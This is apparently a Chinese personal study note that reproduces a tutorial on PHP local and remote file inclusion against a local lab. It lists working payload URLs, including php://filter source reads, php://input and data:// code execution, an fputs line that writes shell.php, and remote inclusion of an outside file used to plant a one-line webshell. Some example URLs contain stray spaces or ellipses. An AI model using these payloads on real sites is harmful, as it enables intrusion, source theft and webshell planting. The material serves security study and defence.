原作者文章:(https://www.cnblogs.com/zhengna/p/15637657.html)
本文基于原作者的文章进行相应复现,作为自己的笔记,仅供参考
知识点
原理,检测,类型,利用,修复等
原理:将文件以脚本执行
文件包含各个脚本代码
ASP,PHP,JSP,ASPXdeng
<!--#include file="1.asp" -->
<!--#include file="1.aspx" -->
<c:import url="http://thief.one/1.jsp">
<jsp:include page="head.jsp" />
<?php include('test.php'); ?>
1、本地包含 LFI(Local File Inclusion) 比较鸡肋 能够编辑文件或上传文件上去
2、远程包含 RFI(Remote File Inclusion) 个人博客 任意在文件上添加代码 可控性强
白盒测试:代码审计
黑盒测试:
1、漏扫工具
2、公开漏洞
3、手工看参数值及功能点
http://127.0.0.1/include.php?filename=1.txt
http://127.0.0.1/include.php?filename=…/…/www.txt
…/表示返回上一级
%00截断:条件:magic_quotes_gpc = Off php版本<5.3.4
filename=…/…/www.txt%00
长度截断:条件:windows,点号需要长于256;linux长于4096 php版本<5.2.8
get请求方式接受有限制
allow_url_fopen = On
allow_url_include = On
http://127 .0.0.1/include.php?filename=http://www.yucedu.com/readme .txt
http://127 .0.0.1/include.php?filename=http://www.yucedu.com/readme .txt%20
http://127 .0.0.1/include.php?filename=http://www.yucedu.com/readme .txt%23
http://127 .0.0.1/include.php?filename=http://www.yucedu.com/readme.txt?
参考链接:https://www.cnblogs.com/endust/p/11804767.html
http://127.0.0.1:8080/include.php?filename=php://filter/read=convert.base64-encode/resource=[文件名]
http://127.0.0.1:8080/include.php?file=php://input
[POST DATA部分]
<?php phpinfo(); ?>
http://127.0.0.1:8080/include.php?file=php://input
[POST DATA部分]
<?php fputs(fopen('shell.php','w'),''); ?>
http://127.0.0.1:8080/include.php?filename=data://text/plain,
http://127.0.0.1:8080/include.php?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
http://127.0.0.1:8080/include.php?filename=file:///D:/phpstudy/PHPTutorial/WWW/1.txt
http://127.0.0.1:8080/include.php?filename=./phpinfo.txt
其他参考:https://www.cnblogs.com/endust/p/11804767.html
<1>固定后缀:比如include($filename.“html”);,有绕过风险
<2>固定文件:比如include(“1.txt”);
<3>WAF产品。
伪协议参考:
https://www.cnblogs.com/endust/p/11804767.html
文件包含漏洞原理,简单说,就是将文件以脚本执行。比如服务器本地有一个1.txt文件(里面是一个php脚本),还有一个文件包含漏洞。
include.php
$filename = $_GET [ 'filename' ]; include ( $filename ); ?>
1.txt
如果单纯地打开1.txt文件,里面的脚本不会执行,浏览器直接显示文件内容。如下图所示。
如果配合文件包含漏洞,就会将文件以脚本执行。
还可以执行其他文件夹下的脚本。
include.php如下所示,限制文件后缀为.html
$filename = $_GET [ 'filename' ]; include ( $filename . "html" ); ?>
此时 包含本地文件1.txt时报错,不再执行脚本
%00截断:条件:magic_quotes_gpc = Off php版本<5.3.4
http://127.0.0.1:8080/include.php?filename=../../../www.txt%00
长度截断:条件:windows,点号需要长于256;linux长于4096
用多个点号或者/.
在filename=1.txt后面输入多个点号。windows点号需要长于256;linux长于4096
我:
关于长度截断复现失败了(可能之前修改了环境,弄了一个小时了,小声嘀咕)等有空在补吧
php远程文件包含的前提条件是开启了allow_url_include
include.php
$filename=$_GET['filename'];
include($filename);
?>
地址为本地靶场www.xh.com
那么可以在目标网站上包含攻击者服务器上的文件,执行脚本。
若把文件内容改为一句话木马
则可以利用文件包含漏洞执行使用菜刀等工具连接目标服务器。
include.php如下所示,限制文件后缀为.html
$filename=$_GET['filename'];
include($filename.".html");
?>
此时 包含远程文件readme.txt时报错,不再执行脚本
各协议的利用条件和方法
各语言对协议的支持
php://filter读取文件源码,结果base64编码,需要自行解码。
http://127.0.0.1/include.php?filename=php://filter/read=convert.base64-encode/resource=1.txt
php://input + [POST DATA]
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php phpinfo(); ?>
参考:https://www.cnblogs.com/endust/p/11804767.html
fputs(fopen('shell.php','w'),''); ?>
data://text/plain,<?php%20phpinfo();?>
http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
首页打开如下图所示,说明含有文件包含漏洞。
靶场为本地搭建